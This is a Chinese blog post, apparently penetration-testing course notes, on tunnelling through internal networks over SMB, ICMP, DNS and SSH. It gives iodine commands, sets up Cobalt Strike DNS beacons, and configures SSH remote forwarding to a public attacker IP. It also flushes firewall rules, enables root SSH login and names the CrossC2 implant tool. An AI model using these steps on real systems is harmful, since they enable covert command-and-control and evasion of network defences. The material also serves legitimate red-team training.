第126天:内网安全-隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac_内网安全-隧道技术_ssh_dns_icmp_smb_上线通讯linux_mac-CSDN博客
内网渗透—隧道技术_隧道技术csdn-CSDN博客
#SMB 隧道&通讯&上线
判断:445 通讯
上线:借助通讯后绑定上线
通讯:直接 SMB 协议通讯即可
上一篇文章有讲解
#ICMP 隧道&通讯&上线
判断:ping 命令
上线:见前面课程
通讯:其他项目(icmpsh icmptunnel)
https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel
#DNS 隧道&通讯&上线
在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。
判断:nslookup dig
DNS上线
1、上线环境:内网主机只出网 DNS 协议数据,解决上线
-域名申请及配置
准备一个域名并配置两条NS解析,NS解析将子域名指定其它DNS解析
-监听器创建及配置
http协议无法上线
配置监听器
设置监听器,Payload
选择Beacon DNS
,DNS地址
选择刚刚填写的ns1记录
与ns2记录
,下面的DNS地址( Stager)
填写A记录
,也就是CS.xxx.fun
。
-后门绑定监听器及生成
在受害者主机执行后门,上线,然后执行命令mode dns -txt
DNS隧道解决通讯问题
2、通讯环境:
内网主机只出网 DNS 协议数据,解决通讯
https://github.com/yarrick/iodine
iodine
工作原理是 ,通过TAP
虚拟网卡,在服务端建立起一个局域网;在客户端,通过TAP
建立一个虚拟网卡;两者通过DNS
隧道连接,处于同一个局域网。在客户端和服务端之间建立连接后,客户机上会多出一块名为dns0
的虚拟网卡。
判断出网:nslookup www.baidu.com
将工具运行起来,运行起来后,你可以输入命令去查看一下网卡,会发现多出一个网卡,这里的选择的网段,千万不要和现有的网段冲突
-服务器:设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向
iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD
设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
-客户端:连接密码 xiaodi 并绑定域名指向
iodine -f -M 200 -P xiaodi ns1.xiaodi8.com
windows不建议用
客户端的工具其实可以直接去官网中下载已经编译好的,但是有一个问题就是无法直接使用,会出现报错,需要安装一个APT网卡
安装软件不现实
客户端的工具运行起来还需要管理员操作,都管理员了,我还要你个DNS隧道干嘛…同样这里,操作完输入命令后,可以看到多出了一个IP地址,刚刚设置的是192.168.0.1网段的IP,那么这里自动就会生成一个192.168.0.2的IP地址。
客户端建立192.168.0.2的虚拟网卡
测试链接
-尝试通讯尝试连接:
ssh root@192.168.0.2 xiaodi
#SSH 隧道&通讯
前提:跳板机为linux,获得root权限,
最好跳板机上不要有过多的防火墙策略,也就是Linux内置的防火墙策略,关策略需要使用root权限。
判断:ssh连接
1、上线:
由于CS无SSH协议监听器配置,无法上线。上线linux需要使用插件
内网渗透—Linux上线_cs上线linux-CSDN博客
2、通讯:
由于SSH协议存在于Linux系统,跳板机必须Linux
iptables -F /* 清除所有规则 */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /*保存配置*/
iptables -L /* 显示iptables列表 */
开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
ssh参数
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口
本地:出站封,走正向
ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122
将本地访问1.168080端口流量转发至本地的1122端口
结果:访问192.168.1.166本地1122端口,探测到1.16:8080
ssh远程转发:入站封,走反向
ssh -CfNg -R 1234:192.168.1.15:8080 root@47.94.236.117
curl http://127.0.0.1:1234
将跳板机上访问的IP地址及端口流量转发至攻击机上的某个端口,
将本地的访问1.168080端口流量转发至47.94.236.117的1234 端口
结果:探测到内网数据
攻击者访问自己本地的1234即可访问windows的8080端口
#控制上线-插件-Linux&Mac&IOS&Android
内网渗透—Linux上线_cs上线linux-CSDN博客
https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考:
https://gloxec.github.io/CrossC2/zh_cn/
目前版本只支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成